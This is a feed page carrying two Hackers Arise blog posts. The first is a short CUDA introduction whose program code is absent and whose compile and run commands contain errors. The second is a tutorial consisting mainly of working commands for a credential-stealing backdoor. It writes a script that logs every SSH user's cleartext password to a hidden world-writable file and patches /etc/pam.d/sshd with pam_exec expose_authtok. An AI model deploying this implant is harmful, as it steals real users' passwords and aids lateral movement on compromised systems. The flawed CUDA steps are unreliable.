❌

Normal view

There are new articles available, click to refresh the page.
Before yesterdayMain stream

CUDA Basics for Hackers, Part 1: Getting Started

By: OTW
6 October 2026 at 13:46

Welcome back, my aspiring cyberwarriors!

I think it is abundantly clear by now that the future of cybersecurity depends upon AI. This is the reason we are offering the Wittgenstein Award for the best AI cybersecurity agents. It is also the reason we are offering a series of tutorials and classes in using AI in cybersecurity.

As you know, most of the AI models run on NVIDIA GPU’s. These graphics processing units are unique in that they can process thousands of threads simultaneously (your CPU can run (4-16). These means that a GPU can do calculations on many processes at the same time, perfect for generating the graphics in your favorite game.

Artificial intelligence or large language models (LLMs) use neural networks to calculate the best answer to your prompt. Each token (~word) is chosen by the probabilities that it is the right token in the right order. This requires calculating probabilities simultaneously for thousand or even millions of tokens. This where the NVIDIA GPU’s come in.

Many years ago, NVIDIA developed a system they call CUDA or Compute Unified Device Architecture for running general purpose applications on a GPU. It is CUDA that nearly every AI developer started with and why NVIDIA is the GPU of choice. CUDA is perfect for running operations on many pieces of data simultaneously. It’s ideally suited for tasks where the work can be broken into many independent pieces and run the calculations in parallel such as image processing, deep learning, or even password cracking.

The code of any application that executes on the GPU is referred to as device code and those functions are referred as kernels. When a application launches a kernel, it launches many threads. These threads can number as many as millions. These threads are grouped and organized into thread blocks and these thread blocks are organized into a grid. These thread blocks are all exactly the same size with the same dimensions.

Since CUDA is such a key element of artificial intelligence development, we thought you should know at the least the basics of CUDA. This is the first of a series on using CUDA.


Step #1: Getting Started

Before we begin, let’s discuss the pre-requisites.

First, you need a NVIDIA GPU with CUDA support.

Second, as with any compute intensive task or cybersecurity, in general, I strongly recommend you use Linux (see my book, Linux Basics for Hackers from No Starch Press). Ubuntu or Debian is recommended (Kali Linux is Debian).

Third, you need to install the CUDA toolkit.

kali>sudo apt install nvidia-cuda-toolkit -y

Just like creating compiled programs in Linux with gcc, you will need the CUDA compiler or nvcc. You can check to see whether it is already installed by entering:

kali > nvcc --version

If you system responds with the nvcc version, the compiler is installed and we are ready to start!


Step 2: Write the CUDA Program

NVIDIA’s CUDA C++ is an extension of standard C++ designed for using the power of the GPU. Those of you comfortable with C++ should find CUDA C++ familiar and easy to work with. For the rest of you, pay close attention.

Let’s begin by creating a new file called hackers_arise_vector_cuda.cu (note the .cu extension).

Copy this program into that file.


Step 3: Compile the Code

Use the NVIDIA CUDA compiler or nvcc:

kali > nvcc hackers_arise_vector_cuda.cu -o myfirstcuda.cu

If you don’t see an error, your program has compiled successfully and is ready to run as myfirstcuda.cu (all CUDA programs use the .cu extension).


Step 4: Run the Program

Next, let’s run this simple CUDA program.

kali > ,/myfirstcuda.cu

Your output should look something this.


Step 4: What Happened?

Now, let’s look at what happened in our program.

In the first line, the code includes the C++ iostream that runs on the CPU providing standard in and standard out. In the second line, the code includes cuda_runtime.h which is the primary header file for the CUDA Runtime API.

Next, we create a CUDA kernel function that can run on a GPU. the __global__ indicates that this function can be installed from the CPU and run in the GPU.

Our program then calculates the global thread ID.

Next, after boundary checking, we generate the array size and then allocate memory on the host CPU.

Then, we initialize the host (CPU) arrays with sample data.

Next, we allocate memory on the device or GPU.

Then we copy the data from the host CPU to the device, GPU.

Next, we define the execution configuration (threads and blocks). In this case, we are designating 256 threads per block and then calculate how many blocks we need.

Next, we launch the kernel on the GPU using multiple threads

We need to wait for the GPU to complete it’s work before trying to access on the CPU.

Then we copy the results from the GPU to the CPU.

Next we verify the results by sending the first 5 values to standard out.

Finally, before we leave, we need free up the memory.

Summary

CUDA or Computer Unified Device Architecture is a framework developed by NVIDIA to fully utilize the strength of GPU’s. It use an extended C++ (as well as Python) to convert the problem in to a multi-threaded application. It is this framework that makes NVIDIA GPU’s the first choice for AI developers.

CUDA can also be used for many applications in cybersecurity including:

  1. Password cracking and brute-force attacks
  2. Real-time threat detection
  3. Phishing and Malware Analysis
  4. Post-Quantum Cryptography
  5. Network Graph Analysis.

As this world transitions to artificial intelligence, stick to Hackers-Arise for the latest developments and techniques including the awarding of the Wittgenstein Award in 2027 for the best cybersecurity AI agents.



The post CUDA Basics for Hackers, Part 1: Getting Started first appeared on Hackers Arise.

Password Cracking: Stealing SSH Credentials with PAM

6 October 2026 at 10:02

Welcome back, my aspiring cyberwarriors!

During a pentest you might land on a Linux machine and make your way to root. Then comes cracking passwords, which is quite a challenging thing, unless you have good GPU. This can take a significant time with no promise it will work. Linux hashes, unlike NTLM hashes you have on Windows can’t be reused in lateral movement. Thankfully, there is a technique called PAM patch that can help you get those passwords when users log in via SSH.

Recon with Known Hosts

Before we start patching PAM, we need to understand the network a bit to see what hosts users connect to from this machine. SSH clients store previously accessed servers in a known_hosts file under each user’s .ssh directory. Those files have a list of hosts.

For example, /home/username/.ssh/known_hosts might have a git host. That can be a pivot point. If the compromised machine is in a restricted environment, that host may sit in another subnet or behind access controls you couldn’t otherwise reach. If the user has the same credentials on that host, it will be a pivot point.

Preparing the Host

Before implementing a credential capture mechanism, it’s important to ensure the host accepts password-based logins. SSHD can be configured to forbid password authentication entirely, relying solely on key-based access. To enable credential capture, the following must be set in /etc/ssh/sshd_config.

root > vim /etc/ssh/sshd_config
PasswordAuthentication yes

Once this change is in place, the groundwork is set.

Creating a Logging Script

The next step is creating a small script that will record login attempts. With root privileges, create a new file at /usr/local/bin/logc.sh. We then make it executable and create a log file to store credentials.

create a log file. root > cat > /usr/local/bin/logc.sh << 'EOF'
#!/bin/bash
read -r PASS
echo "$(date) User: ${PAM_USER} Password: ${PASS} From: ${PAM_RHOST}" >> /var/log/.authc.log
exit 0
EOF

root > chmod 755 /usr/local/bin/logc.sh
root > touch /var/log/.authc.log
root > chmod 777 /var/log/.authc.log

Patching PAM

Now we need to edit the PAM authentication mechanism. PAM configurations vary slightly between distributions, but for SSH specifically, you will need to edit is /etc/pam.d/sshd. For broader system-wide coverage, other files such as /etc/pam.d/common-auth (Debian/Ubuntu) or /etc/pam.d/password-auth (CentOS) could be patched instead.

root > grep -q logc.sh /etc/pam.d/sshd || sed -i '1i auth optional pam_exec.so expose_authtok /usr/local/bin/logc.sh' /etc/pam.d/sshd

root > head -5 /etc/pam.d/sshd

This will ensure that every authentication attempt, successful or not, passes through the logging script before continuing with normal PAM processing.

Applying and Testing the Patch

For the changes to take effect, restart the SSH service.

root > grep -E '^PasswordAuthentication' /etc/ssh/sshd_config
root > systemctl restart ssh
root > systemctl is-active ssh

Once restarted, test the patch by logging in with valid credentials.

Now check the log file.

root > cat /var/log/.authc.log

Each entry has the username, the password they entered, the host they connected from and the date of the attempt. Over time, this log will have a lot of credentials from user sessions, helping you a lot during a pentest.

Summary

There is a great method of harvesting SSH credentials on Linux by modifying the PAM. After finding potential lateral movement hosts, SSH is set up to allow password authentication. A custom logging script is created to save usernames and their passwords. Then the script is integrated into PAM by editing /etc/pam.d/sshd. Restarting SSH activates this change and future connections will be stored with usable credentials.Β 

If you’re interested in red teaming and want to build the skills required to be a pentester, we offer ourΒ Red Team OperatorΒ training program.

The post Password Cracking: Stealing SSH Credentials with PAM first appeared on Hackers Arise.

❌
❌